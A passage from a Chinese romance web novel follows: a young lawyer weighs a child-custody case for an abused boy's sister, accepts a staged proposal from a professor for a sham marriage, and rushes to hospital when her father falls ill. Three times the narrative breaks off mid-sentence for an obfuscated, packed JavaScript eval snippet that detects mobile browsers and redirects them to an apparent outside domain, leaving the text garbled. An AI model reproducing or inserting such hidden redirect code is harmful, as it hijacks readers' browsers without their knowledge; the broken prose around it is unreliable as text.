“我觉得要不您还是去找徐远忱律师吧。”岑礼不是对自己没有信心,只是连她师傅都不愿接的官司,她不用想也知道有多难了。 转执业以后接的第一个收费的案子,她真的不想败诉开局。 江阳抿抿唇,犹豫片刻,还是开口:“我是觉得,你们都是女孩子,师妹你代理这个案子,比我、老徐还有你师傅都要更合适一些,有句话怎么说来着——girlshelpgirls,我只是觉得你比我们这些老爷们更容易共情她。” 听完这个理由,岑礼没再拒绝,但也没立即应下。她让江阳先安排她们见一面,当事人和代理律师原本就是双向选择的事情,她也想听听对方的想法。 上午的庭,一直开到下午一点多才闭庭,岑礼肚子饿得不行,一结束就直奔旁边的快餐店。 佟文涛吃不惯这种快餐店,要回律所去吃他媳妇给他准备的便当,自己开车先走了。 岑礼脑子还是乱的,来来回回复盘自己在庭上的几句话,不觉得哪里有错,可对方代理律师看向她时的那一抹笑,又实在莫名其妙。 正想着,手机上弹出一条微信好友申请,岑礼放下筷子,去看验证消息。 只有简简单单几五个字:【你好岑律师】 岑礼迅速通过,点进对方的朋友圈查看情况,发现竟是前几天在医院帮她说话的那个女孩儿。 那天她陪着自己在那位姓杜的医生的值班室待了很久,最后确认她真的OK对方才走,岑礼一直心存感激。 岑礼在她的朋友圈驻足片刻,返回对话框,给她发了个哈喽的表情包。 对方秒回:【岑律师您好,我是之前在医院被插队的那个女孩,我叫闵雪婷。】 【我记得你。】岑礼回复。 【是这样的,那天我看到您包里名片掉出来了,发现您是名律师,就记了一下您的手机号码,这几天我一直犹豫,最后还是决定加您好友。我有点事情想要咨询您,不知道您怎么收费。】 岑礼正在用勺子喝汤,填饱了肚子人的心情也好起来,伸手按住录音键,“不收钱,免费!” 对方却没立即回复,不知是不是不好意思,好半天才问了她一句:【我想起诉,可以委托您做我们的代理律师吗?】 岑礼下午没什么事儿,法律援助的那个案子基本都准备妥帖,只等开庭,回律所也不过就是替佟文涛煮煮茶、整理整理资料,不如就去见见人家,说不定还真能来一个案子呢。 岑礼得知闵雪婷还在上次的那家医院后,驱车前往。 接到檀砚书电话的时候,她刚找到停车位,低头看个来显的功夫再一抬头,车位没了。 岑礼一句国粹含在嘴里,想起肚子里的宝宝,硬生生又咽了回去。 她重新换挡,在附近转了好几圈才又找到一个空位,终于停好车,才将电话回拨过去。 那边很快接起。 岑礼解开安全带,抓起副驾的外套套上,假装没看来显,客套地“您好”两个字刚发出,听筒里传来轻微的几声咳嗽。 檀砚书上午满课,吃完饭回办公室的路上经过实验楼,看到岑肃山穿着白大褂进去,不死心地有追上去问了下进他科研组的事儿,毫无疑问被搪塞过去。 檀砚书残存的希望彻底破灭,不知从哪儿来的勇气,他直接拦住岑肃山的去路,直截了当地问:“岑教授,您一直不同意我加入您的科研组,是不是因为担心我将来带着科研成果回去韩国?” 岑肃山抬头,“既然你都知道……” “我明白了教授。”不等岑肃山把话说完,檀砚书已经头也不回地往办公室走了。 他当即便做下决定,他要和岑礼结婚,他无论如何也要加入岑肃山的科研组。 电话拨过去的时候,檀砚书心里有些忐忑,一来不确定几天前他的犹豫是否已经错过机会,二来他确实也不擅长和异性沟通,担心直接提出结婚会不会过于唐突。 檀砚书听着电话那端陌生的女声,拿远手机将来电的号码和名片上的作比对,确认无误后,终于开口:“是我,岑礼。” 岑礼瞥了眼屏幕上的备注,故意道:“您是?” “檀砚书。” 檀砚书知道律师这一行工作很忙,志成又是大律所,岑礼每天大概都会接到许多电话,听不出他的声音也是正常。 可转念一想,这电话是她打过来的,她应该知道是他才对。 但,也可能是为了避免漏掉重要电话,岑礼随手回拨,实际上真的不知道这是他的号码。 短短几秒,檀砚书心里闪过好几种可能。 直到岑礼开口:“怎么,檀教授这是终于考虑好了?” 檀砚书又咳了两声,手机拿远又拿近,问她:“你现在在哪里,方便见一面吗?” 上次劳烦人家女孩子主动来找他,他还犹豫不决,思来想去仍觉得不够礼貌。正好他下午没课,他可以一会儿就过去找她。 岑礼看了眼不远处的住院楼,故意拿乔,“我现在在医院呢,好像不太方便。” “医院?”檀砚书心里咯噔一下,紧张地问她:“在医院做什么……是不舒服吗?” 岑礼顺杆爬,“在医院还能做什么,就排队等着做手术呗。” 檀砚书心里咯噔一下,慌了,“怎么突然决定做手术了,你之前不是说想要把这个孩子生下来吗……是被岑教授发现了吗?” “对啊,你也知道我爸的脾气,他硬是拉着我来医院,我有什么办法。”岑礼叹口气,从车里出来,往住院楼走。 “你先别做这个手术,等我一会儿。”檀砚书随即起身,打开打车软件,问她在哪个医院。 六院离沪江大学生物医学工程学院很近,打车或者骑共享单车也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850794|175851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就十来分钟。岑礼没等他,在医院旁边的小店买了个果篮,去见闵雪婷。 病房里,闵雪婷接过岑礼递来的果篮,连声道谢。 “这是你弟弟?”病床上躺着的小男生睁着黝黑的大眼睛,正防备地看着她。 “是。”闵雪婷给弟弟介绍了岑礼的律师身份,闵志远才终于放松下来,将胳膊从被子里伸出来。 “不好意思啊岑律师,我外婆昨晚陪夜太累了,我就让她回去休息了,现在我弟刚动完手术腿脚还不方便,离不开人,否则我就去律所找您了。” 闵雪婷撕开果篮上的塑封,拧下两颗香蕉,一颗递给闵志远,一颗递给岑礼。岑礼说自己刚吃完饭,没接,闵雪婷又问她喝不喝水,从一旁的牛奶箱里拿了包牛奶给她。 不止十分钟,最少最少二十分钟过去了,檀砚书那边毫无动静。 岑礼不去管了,问起闵雪婷起诉的事儿。她猜测和她弟弟闵志远有关。 果不其然,闵雪婷开口,直截了当地说:“我想起诉我爸,请求剥夺他对我弟的监护权,岑律师,这样的案子您可以代理吗?” 闵雪婷和弟弟闵志远六年前丧母,父亲闵勇健独自承担一双儿女的抚养责任,三年前闵勇健恋爱半年准备再婚,临门一脚惨遭女方抛去,此后他经常酗酒,开始对闵志远的家暴。 闵雪婷高中开始住校,升入大学以后回家的次数更少,殊不知年仅八岁的弟弟一直生活在水深火热之中,直到闵志远这次骨折入院,她才得知情况。 看着弟弟浑身上下的大小淤青几十处,闵雪婷心疼不已。她自责于平日里对弟弟的关心太少,又恨闵志远过分懂事从不向她诉苦,那天打印报告的时候遇见岑礼,她就想咨询这事了,可外婆劝她说都是一家人,只要闵勇健以后不再打孩子,她们应该再给他一次机会。 但就在今天上午,原本是闵勇健来接外婆的班照顾闵志远,可他竟然将抽屉里舅舅给的五百块营养费拿走打麻将去了,还将阻拦他拿钱的闵志远胳膊再次打得青紫。完全没有顾及他还是一个病人,他前天才刚动的手术。 闵雪婷忍无可忍,终于下定决定找岑礼打这个官司。 岑礼听完闵雪婷的陈述,心里五味杂陈。第一反应是拉过闵志远藏在被子里的那只胳膊查看伤势,然后是他的腿,衣领下的脖子,几乎全身上下没一块儿好的地方。 人渣!岑礼想破口大骂,眼眶一下就湿润了。 孕妇就是容易掉眼泪,她吸了吸鼻子,转身去了走廊。 闵雪婷跟出来,轻轻拉了拉岑礼的手,“岑律师,我今年已经十九岁了,我是不是可以主张我弟的抚养权?我每学期都有奖学金,我还可以勤工俭学,我能养他!” 岑礼望着她,又远远地透过窗户看向病床上的闵志远,小男孩儿伸长脖子也在看她们,目光是那么纯净,一点杂质也无。 闵雪婷说他今年才八岁,才八岁啊…… 想到这里,她没办法不落泪。 她也是差不多的年纪失去母亲。但她比他们姐弟要幸运,因为她有个好父亲,后来还有一个不错的继母和哥哥。 可是共情归共情,身为律师,她必须要告诉闵雪婷:“这个官司我不能接。” “为什么?”女孩儿不理解,明明她已经被打动了。 “你年纪太小了,又还在上大学,没有稳定的工作和经济来源,法院不可能支持你的诉求。”岑礼实事求是。 法官不听故事,他们只看那些无情的法条,同情并不会成为他们支持原告诉求的理由。 闵雪婷没想到岑礼如此直接,一颗心被捧起又被摔落,难免失望。 “那我弟怎么办?就这样等着被我爸打死嘛?” 岑礼偏过头去,强忍着眼泪,不忍与她对视。 手机铃声这时候响起,犹如恩赦。 她接起电话,听到檀砚书急促的呼吸声。 他问她在哪儿。 岑礼抬头看了眼病房号,报给他。 檀砚书来不及思索,“你在那儿别动,等我两分钟。” 说两分钟就绝不让她等到三分钟,第两分三十七秒的时候,岑礼在走廊尽头看到檀砚书。 男人个子高,岑礼一双眼睛只看到朝她跑来的一双大长腿,两步就到跟前。 岑礼屏住呼吸,张了张嘴,刚想解释,就见他从身后拿出一束鲜花,单膝跪了下去。 “你……”岑礼被他这一跪吓了一跳,伸手又缩回,不确定他这花是不是给她准备的。 她刚才和檀砚书开玩笑说要做人流,如果他信了,来探望,送红玫瑰是不是有点不太合适? 难道韩国时兴探病送人红玫瑰? 岑礼脑子还没转过弯来,檀砚书已经将花塞进她手里,而后从自己的手上摘下了那枚他常戴的素戒,抬头望向她。 他不像是开玩笑,眼睛里满是真诚和坚定。 “岑礼,你愿意嫁给我吗?” 4. ④个吻 住院楼人来人往,没几分钟,周围就聚集了看热闹的吃瓜群众。 岑礼不自在地看了看四周,竟在人群中看到了之前那位杜医生。 是了,人家是骨科大夫,出现在这儿理所应当。 反倒是她和檀砚书,与周遭的一切格格不入。 还是闵雪婷反应快,碰了碰岑礼的胳膊,笑道:“岑律师,你男朋友好帅呀,快答应他呀!” 语毕,旁边起哄声渐起。 医院里最能看尽人生百态,有人欢喜有人忧,岑礼不认为这里是求婚的好地方,但现在她人被架在这里,她也没有办法。 只能快些给彼此一个台阶下。 岑礼没想过假结婚还能受到这样的待遇,受宠若惊。 她低头看了眼檀砚书手里的戒指,大方伸出左手,点头道:“看着你这张脸,我好像找不到拒绝你的理由。” 檀砚书的素戒原来戴在食指,套在岑礼的中指上略微有些松,她戴上之后故意甩了甩,确保没那么容易滑落以后,她终于想起拉他起来。 岑礼拉檀砚书进病房,不想因他们造成走廊的拥堵,也不愿承受这些陌生人最真诚的祝福。毕竟是假结婚,又不是真的有情人,她觉得他们实在愧对大家。 围着的人稀稀拉拉地鼓了阵掌,终于四散开去。 岑礼长舒了一口气,问檀砚书:“你来就来,怎么突然给我来这一出,我差点都没接住你的戏。” “你说岑教授在……”檀砚书伸手接过岑礼塞过来的玫瑰,后知后觉地想起自己中午在学校见到过岑肃山,他看样子下午都要泡在实验室里,不太可能这么短的时间发现岑礼怀孕的事,然后如此说风就是雨的拉她来医院做手术。 “我想着,要在令尊手底下抢一条人命,总要做点什么。”檀砚书盯着岑礼戴着戒指的手指,平静道:“结婚之前先求婚,这难道不是必须的流程嘛,我做错了?” “你这未免也太入戏了!”岑礼踮起脚,拍拍檀砚书的胳膊,“你这戒指真的假的?” 虽然没镶钻,但是卡地亚的素戒,多少也值点钱。 “应该是真的。”他回忆了一下,“我在官网买的。” “今天时间太赶了,我当下只能先用它来求婚,抱歉。”檀砚书望着她,那眼神就好像是真的认为她有所亏欠,让岑礼想起小时候的很多个瞬间,岑肃山也常用这种眼神望着她。 戏真好,怎么不去横店逛逛,没准儿真能遇上星探呢。 “岑礼。”檀砚书叫她,再次道歉:“抱歉,我之前太过犹豫,耽误了你的时间。” 过来的路上,想起岑肃山有可能真的拉着她去做手术,檀砚书心里的负罪感几乎要将他淹没。 这些天,檀砚书思来想去,仍觉得岑礼和前任分手与那一夜脱不开关系,现在对方不愿负责,他当仁不让该顶上。 不论是假结婚还是真结婚,他当时都应该直接答应。 “差一点我就换人了。”岑礼下巴一扬,得了便宜还卖乖。 既然戴上了檀砚书的卡地亚,现在去挎他的胳膊应该也不算唐突。 不管怎么说,今天檀砚书选择在医院求婚也有好处。毕竟徐悦在六院工作了这么些年,人虽然退休了可人脉还在。刚才岑礼余光瞥见两个小护士拍了照,她估摸着这照片很快就会传播到徐悦那儿,如此一来,她和檀砚书结婚的事可信度也能提升不少。 借别人的嘴巴说自己的事情,向来比自己开口要容易。 岑礼不知道如何向家里开口坦白自己怀孕的事儿,与其心虚担心说错话,还不如他们来问她来答。 毕竟在岑肃山的视角,他们就是两个闯了祸、措手不及的小年轻,准备工作做得太足反而透着表演痕迹。 岑礼问檀砚书:“说来就来,你下午没课?” 檀砚书点头,“原本有个会,临时通知取消了。” “刚才电话里我开玩笑的,怎么说什么你都信。”岑礼看了眼闵雪婷,给檀砚书做了个简单的介绍。 “岑律师,恭喜你。”闵雪婷察觉到岑礼将要离开,再一次换上恳切的目光,“岑律师……不伦这个案子胜诉的概率有多渺茫,我都想要试一试。” 岑礼瞥了眼檀砚书,让他拿着花先出去。 不管闵雪婷将来会不会成为她的当事人,在隐私保护这一块,她不能掉链子。 “岑律师,您也是马上要做妈妈的人了,如果将来您的孩子也遭遇了志远现在的困境,我相信您一定会毫不犹豫站出来保护ta的。志远没有妈妈,他只有我,拜托你了岑律师,帮帮我们吧。” 闵雪婷嘴巴一张一合,干裂的唇上没有一丝血色。 岑礼心软,突然想起什么,问她:“你之前说你弟弟做手术是你外婆在照顾他?” “是,外婆住得近,晚上都是她来陪志远。” 闵雪婷回答完这句,抬头与岑礼对视一眼,她突然间意识到岑礼问这一句的目的了。 “可以让外婆起诉,争取志远的监护权!”她的眼里重新燃起希望,唇角微微弯起,笑了。 “但是你之前说你外婆还是更倾向于让你爸悔改,我想,起诉的事情你可能还需要去做做她的工作,毕竟老一辈的人,总喜欢说打断骨头连着筋、虎毒不食子这样的话,什么事情都能忍。” 闵雪婷重重地点了点头。 “外婆那边我去说,那岑律师……如果我外婆同意起诉,你可以做她的代理律师嘛?” “律师费我可以用奖学金来付,我付的起的岑律师,实在不够我也可以分期付款,白纸黑字,我们不会不给你的。” 岑礼点点头,“那你先去做做外婆的工作,如果她愿意起诉,胜诉的概率会大很多。” - 出了医院,岑礼和檀砚书并排往停车场走。 岑礼问他:“你怎么来的?要不要我送你?” “不用。来的时候我叫的网约车。”说这话的时候岑礼已经走到了车边,手里车钥匙一按,替檀砚书拉开后坐车门。 “抱歉,我才刚来沪城一年,还没有购置汽车。”檀砚书坐进去。岑礼回头看他,刚才她还担心他个子太高,她的小mini对他可能不太友好,结果他挺直腰背头顶还余一拳的距离。 “这有什么好抱歉的,”岑礼将外套脱下丢到副驾上,发动车子,“你住的小区离学校那么近,散步就到了,买车不是浪费嘛。” 他们工作性质不同,做律师的成天在外面跑,没有辆车确实不太方便。 不过这车也并不是为了代步才买的,是她通过司法考试岑肃山送她的礼物。 她当时还不愿意收,想到徐远忱工作好几年才刚刚买车,买的还是辆最朴素的一汽大众,而她才刚实习就开上了宝马,多少有些讽刺。 徐悦是护士,后来升上护士长,年薪也没高到哪里去。岑肃山老早以前就评上了教授,各种津贴加起来,一年至少能有四十个。 外人不知道,岑礼心里却清楚,这么多年,岑肃山和徐悦感情虽然一直不错,可是在钱方面,两人一直是各管各的。 二婚就是这样,况且两人各自都有孩子,到底是做不到像原配夫妻一样不分你我。 徐远忱当初跟着徐悦住进家里,外人看着还以为他们娘俩占了多大的便宜,可岑礼心里清楚,这么多年,徐悦照顾一家四口的吃穿住行,隔三差五还要陪着岑肃山去孝敬老母亲,要说占便宜,那也是他们姓岑的占人家的便宜。 婚姻对大部分男人来说都是笔稳赚不赔的生意,只有女人天真,总想着感情不能用金钱来衡量。 可男人早早地就明白了,只要付出一点感情就可以省去很多金钱成本的道理。找个住家保姆一个月工资不少,还难做到事无巨细都让人满意,岑肃山不花一分钱,靠一张结婚证就给岑礼找了个任劳任怨的新妈妈。 岑肃山看着谦和顾家,对徐远忱视如己出,实际却是,徐远忱想要买房,徐悦张口向岑肃山借五十万,他头都没抬就说没钱。 然后转身拿了一百八十万给岑礼付了套房子的首付,眼皮都没眨一下。 自己的孩子自己疼。 岑礼自知这一点上她没有立场也没有资格指责岑肃山,可是……可是……她就是觉得这样对徐远忱太不公平。 户口本上他们明明是家人的关系,可为什么关起门来,她和岑肃山永远高高在上。 她知道徐远忱为什么那么努力地想要证明自己,知道他为什么那么着急买房,为什么一工作就搬出去单住,因为在这个家里,他永远寄人篱下。 “要不我来开吧?”后排传来不自量力的声音。 岑礼开车时走神,后座的檀砚书心一直提到嗓子眼上,可又不敢出声提醒。 刚才车子擦着黄线过,险些就开到了对面道上去,檀砚书再不吱声,担心车上三条人命都有危险。 岑礼思绪回过来,轻笑道:“你知道往哪里开吗?” “不是回学校吗?” “你不是说不用我送你?” 檀砚书一顿,没再说话。 “你刚才说你下午没课,我也不想回律所,正好,你陪我去个地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850795|175851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 檀砚书说好,也没问她去什么地方。 车子最后停在武康路上一个小学附近,檀砚书跟着岑礼下车,将花撇在了车里。 武康路的冬天总是迟到,地上黄叶零零散散地点缀其中,如果不看行人的穿着,会误以为只是深秋。 “这条街你以前应该来过的吧,路上很多韩国人。” 他里面一身黑色,外面套了件过膝的灰色羊毛大衣,还系了条围巾,像刚从韩剧里穿出来的。 “我不是韩国人。”檀砚书停下,看向路旁的咖啡馆。 “我母亲是韩国人,但我的国籍随我父亲,我们都是中国人。”因为在韩国生活的时间比较久,他的普通话确实不那么本土,生活习惯也不够入乡随俗。 但他始终是中国人,这一点毋庸置疑。 “啊…抱歉。”岑礼看到岑肃山对他的态度,还以为他是外籍。 “我想去买杯咖啡。”韩国人对咖啡的需求高,檀砚书深受其害,现在也几乎是每天都要来一杯。 他的办公室里有一台半自动咖啡机,他自己买的,咖啡豆由另外两个喝咖啡的老师AA,毕竟沪城动辄六七十块一杯的咖啡偶尔喝一次还行,天天喝工资遭不住。 檀砚书捧着咖啡回来,先尝了一口,然后立即将杯口重新塞住,递给岑礼,“暖暖手。” “前面就到了。”岑礼指了指。 是一家首饰定制工作室。 “我看这条路车也可以开进来。” “那边停车费便宜。” 附近的停车场几乎都是10r/h,那边只要6r/h。 不久前岑礼陪徐远忱来这里,帮他参谋了一下送给女朋友的礼物。 她刻意避开了戒指区,建议项链或者手镯,但徐远忱最后还是定制了一枚钻戒。 徐远忱有一个恋爱六年的女朋友,他已经买了车,又即将买房,求婚指日可待。 岑礼没有什么期盼的,只是看着柜台里那些独特设计的钻戒,她也曾幻想过,如果不是徐远忱,她以后会和一个什么样的人结婚。 原来是这样的。 岑礼难得没穿高跟鞋,和檀砚书站在一起都不到他肩膀高,抬头看他,被求婚的眩晕感后知后觉。 虽然有名无实,但这大概率会是她人生中唯一一段婚姻关系。 “你过来。”岑礼叫了他一声。 檀砚书转过身来,被她扯着衣领,要求:“你蹲下来一点。” 两人拍下第一张合照。 在一家叫做“满月”的首饰工作室门口的梧桐树旁。 在这家店里,岑礼犹豫再三,还是放弃了主钻戒,选了一对当场就能带走的精致对戒。女戒带钻,男戒简约,付款的时候岑礼提议AA。 檀砚书说了句“我来吧”,岑礼不知是不是没听见,仍然坚持,先他一步去结了账。 韩国那边AA文化盛行,他以前和同事出门吃饭都是AA,反倒是回国以后遇到的人都热情,好几次在食堂打饭被学生抢着刷了卡,他心里还有负担。 “钻戒回头淘宝买个假的吧,反正我工作也不方便戴。”岑礼提议。 “为什么对戒不买假的?”他的理解是,假结婚所以要买假的。 “因为在我们离婚之前,婚戒得一直戴着,假的会掉色。” 赵明熙听到这里,没忍住,笑出声来。 “我们店里有莫桑钻的戒指模型,如果需要的话,我们可以送您一枚。” 说着去拿戒盒让岑礼选款。 “赠品戒托都是925银的,莫桑钻很接近真钻,一般人分辩不出真假。” 岑礼点点头,“我爸眼神儿不好,唬他还不是手拿把掐。” 然后拿着手机二维码递给檀砚书,“你扫我。” 檀砚书不明所以,但还是照做。 验证通过,岑礼发来刚才开那个人在门口拍的照片,勒令道:“你把它设成手机锁屏。” 檀砚书困惑地看向她。 “做戏做全套,到时候你来我们家,装作不经意地让我爸看见,证明咱俩真的是在谈恋爱。” 檀砚书眉心突突跳了两下,点开原图,保存下来。 “那什么时候去你家?” 他用的一直是系统默认的锁屏和壁纸,这会儿研究怎么自定义,头也没抬。 “择日不如撞日,就今天吧。”岑礼接过店员双手递来的纸袋,“戒指的钱你不用A我了,上次的茅台算我买的,剩下的,你看看再买点什么。我现在打电话让阿姨准备饭菜。” 5. ⑤个吻 “上次你见到的岑太太不是我妈,是我爸再婚的妻子,我叫她阿姨。”挂断电话,岑礼发现檀砚书在看她,解释道。 檀砚书点点头,“怪不得。” “怪不得什么?”她耳朵尖,收起手机,拉他胳膊。 “你们长得不像。”他坦言。 那天去家里拜访,檀砚书就发现了这一点。 “有点突然,家里没菜了,阿姨让我们去趟超市,买点你喜欢吃的。”岑礼刚才一说要带男朋友回家,徐悦第一反应是做卫宇哲喜欢吃的小黄鱼,岑礼难掩尴尬,小声提醒徐悦她和卫宇哲已经分手的事情。 电话那边停顿了好一会儿,徐悦才意识到她说的这位男朋友另有其人。 卫宇哲出国前两人分手,徐悦听徐远忱说了一嘴,当时还觉得可惜,后来见岑礼一点儿没受影响,也就没画蛇添足去安慰她。 上周岑礼突然回了趟家,主动提及她之前打算介绍给她的那位杜医生,当时徐悦就想问她最近是怎么了,又怕问得太多遭人烦,最后还是什么都没说。 这才过了几天,就要带新男友回家了,怕不是和那卫宇哲还怄着气呢吧? 电话挂断之后,徐悦给岑肃山打了个电话说了这事儿,让他晚上务必早些回家,老头儿也是一愣,好半天才应了一声。 檀砚书不知道岑礼家里的情况,去超市的时候让岑礼参谋了一下除茅台之外还要带些什么去,岑礼想了想,挑了一盒品质不错的虫草,又给徐远忱拿了两罐茶叶。 在岑礼心里,徐远忱永远都是他们这个家里的一员,不论他在与不在,他都是哥哥,是家人。 买完东西,岑礼绕路去檀砚书小区陪他拿茅台。檀砚书上楼,岑礼靠在车里闭目养神,耳边的钢琴曲轻缓,她听着听着便意识游离。 再睁眼,是被徐远忱的电话叫醒。 “礼礼。”那边是清朗的男声。 “哥……”岑礼叫了他一声,看了眼屏幕上的时间,疑惑檀砚书怎么去了这么久。 “我晚上要回家一趟,妈说你晚上要带朋友回家吃饭,让我问问你菜买了没有,没买的话我一会儿带点儿回去。” “我们刚买了。”岑礼底气不足地说:“我下午去见了一个代理人,结束以后没回律所,你别给我说露馅了。” “代理人?你自己接到案子了?”徐远忱笑笑,随即想起来什么,问她:“是不是江阳介绍给你的那个案子?” 岑礼开了一小截车窗,外面新鲜的空气涌进来,她深吸了一口。 “不是,那个案子我还没确定要接呢。” “干什么不接?”徐远忱不解,“你不是转执业之后一直没接到案子么,现在有案子主动送上门来,你不接,难不成打算一辈子靠你师傅分那点汤给你?” “不是……”岑礼叹口气:“江律介绍的那个案子,百分之百要败诉的。” “正是因为它注定要败诉,所以你来打,真的败诉了也不是你能力的问题。而且这案子谁打都是败诉,要换你师傅,代理费可就不止两万了,这对人家来说成本又上了一个台阶。”徐远忱苦口婆心,劝她:“你在刑辩部待了这么久,肯定看过不少重刑案,如果大家都像你一样害怕败诉就拒绝代理,那那些公诉案件证据确凿的被告怎么办?谁来替他们主张权利呢?” “你自己想想吧,多的我就不说了,晚点家里见吧。”徐远忱挂了电话,穿上外套准备下班。 岑礼反复咀嚼着徐远忱的话,没注意到一旁的路边上,檀砚书等在那里。 她降下车窗,叫了他一声。 “檀砚书。” 对方回过头来,拎着东西朝她走近。 “怎么不上车?”外面好冷的。 “看你在打电话,想等你打完。”他看她刚才表情凝重,担心涉及她的隐私。 檀砚书下午挎了个包,这会儿包不见了,应是放回了家里。也没见他换衣服什么的。 “你刚才干嘛去了,磨叽半天。”岑礼去拿副驾驶的保温杯,喝了口水。 保温杯效果不错,水还是温的。 “上了个厕所,顺便给猫换了猫砂,又添了猫粮。” 檀砚书住的是个合租的三居室,他住带独卫的主卧,有个小阳台,夏天的时候他在一个学生的鼓动下从救助站领回来一只猫,不知不觉养了小半年了。 岑礼瞥了眼他,“你养猫,衣服上居然没有猫毛。” 她养的那只小公主特别容易掉毛,之前每天出门前,她都要在玄关处粘好久的毛。 “出门前又清洁了一下,耽误了一点时间。”檀砚书开车门上来。 岑礼犹豫了一会儿,回过头去,“我可以问你一个问题吗?” 檀砚书没犹豫,点点头,眼睛和她对视。 “如果现在摆在你面前有一个实验,你需要为这个实验付出大量的精力和时间,但你又很明确地知道这个实验永远都不会成功,你还会愿意去做这个实验吗?” “当然。”他眼睫轻轻眨了下,“大部分的实验都不是一开始就成功的,有时候用排除法,把所有导致实验失败的数据全部整合、规避,也许就能够找到让实验成功的办法。在此之前失败的一万次实验,都不算白费。” “你真是书呆子。”岑礼摇摇头,“但是打官司和做实验不一样,我没有复盘和重新来过的机会,注定要输的案子,就连我师傅都不愿意接……” “他不愿意接,不代表你就不可以接。” 檀砚书重复徐远忱的建议,但换了一种方式,他说:“这个世界就是这样的,有成功就会有失败。我不太懂你们律师行业,但是影视剧里看到过一些,原告被告坐在对立的两面,有人胜诉就一定会有人败诉,这样看,其实每个案子上了法庭的胜率都是百分之五十,尽力而为就可以了。” “一个案子是胜诉还是败诉,是看事实讲证据,做出判决的人是法官。律师并不能决定一个案子的输赢,你的职责是尽力为你当事人争取权益。” 檀砚书并不是一个话多的人,几次接触下来,岑礼能感受到他说话习惯短句、简练,像这样大段大段的话,她还是第一次从他口中听到。 然而,不等她给予反馈,手机铃声再次响起。 “需要我回避么?”檀砚书问。 岑礼摇摇头,“阿姨打来的,估计是问我们还要多久到家。” 电话被接通,岑礼直接点了外放,将手机搁回支架上。 “礼礼呀,不好了呀,你现在赶紧去六院,你爸爸刚才做实验的时候吐血了,现在被送到急诊去了。” 徐悦的声音抖得厉害。 岑礼反应了两秒,“你现在在哪呢?要不要我回家接下你?” “你哥回来了,我现在在他车上,一会儿就到医院了。” 岑礼应了声“好”,挂断电话,抱歉地看了眼檀砚书。 “你也听到了,我爸送急诊了,今天的事儿恐怕不方便了。” “要不要我陪你去……”檀砚书眉头也不自觉皱起,想起中午还在实验楼前看到了岑肃山,那会儿他状态并无异样。 “不用,我爸一直有胃病,估计是最近又没好好吃饭。”岑礼有心理准备,这些年经历了妈妈、外公外婆的离世,她的心理承受能力早已登峰造极。 况且…… “我哥在呢,没事。”岑礼伸手去抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850796|175851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下有些蓬的头发,拿胳膊上的发圈绑住。 “那有事你给我打电话。”檀砚书往前凑了凑,确认岑礼是系着安全带的,况且六院离这儿不过就两公里,这才放心下了车。 “等等。”岑礼开窗,叫住他,“后备箱的菜你拿回去吧,我爸这情况,估计阿姨好几天都会在医院里陪着,家里不会开火了,放坏了到时候。” 檀砚书脚步一顿,“好。” 傍晚的医院人满为患,岑礼停好车赶到地方,小跑的动作被脑海里一个声音叫停。 她慢下来,调整过呼吸以后,走进急诊大楼。 远远的,她看见人群中的徐远忱。 徐远忱身形单薄,一套西装看不出厚度,靠墙站着,鼻梁上的眼镜遮挡住他眼底的神色,永远是那副镇定从容的样子。 而他身旁坐着的徐悦,看上去情绪也稳定许多。 “哥,阿姨。”岑礼朝他们走过去,“我爸现在怎么样了?” “进手术室了,胃穿孔引起的吐血,现在在做修复,不会有生命危险。” “谢天谢地。”徐悦一把抱住岑礼,“刚才你爸的学生打电话过来的时候,我吓坏了。” “他肯定这几天又伤着胃了。”岑礼恨铁不成钢,想起之前无数次提醒岑肃山,到了饭点就要吃饭,别总为了实验推迟吃饭时间,可他从来都是左耳进右耳出。 “我也经常提醒你爸,可是他……”徐悦叹口气,感受到背上徐远忱安抚的拍打。 徐远忱一言不发,就成功让两个女人心里的恐慌降至最低。 八点左右手术结束,岑肃山被推出手术室,却被告知病房紧缺,暂时没法办理住院手续。徐悦毕竟在六院干了几十年,几个电话一打,终于给岑肃山找了张空床位。 终于将岑肃山安排妥当,时间将近九点,三个人离开病房,在走廊里面面相觑。 “叔叔上的全麻,医生说醒过来得明天上午了,今晚大家就都回去好好休息吧,明天一早妈你过来,晚上下了班我接上礼礼我们一块儿过来。” “你们两个回去吧,我一个人回家待着心里也不踏实,今晚我就在医院里陪着肃山。” “阿姨……”岑礼见她口袋里的围裙快掉出来,帮着给塞了回去。 “我做了这么些年的护士,知道胃穿孔手术以后的注意事项,我陪着肃山你们心里也能踏实些。明天你们就正常上班,医院里的事情有我呢。”徐悦拍拍岑礼的手背,推她和徐远忱一块儿走。 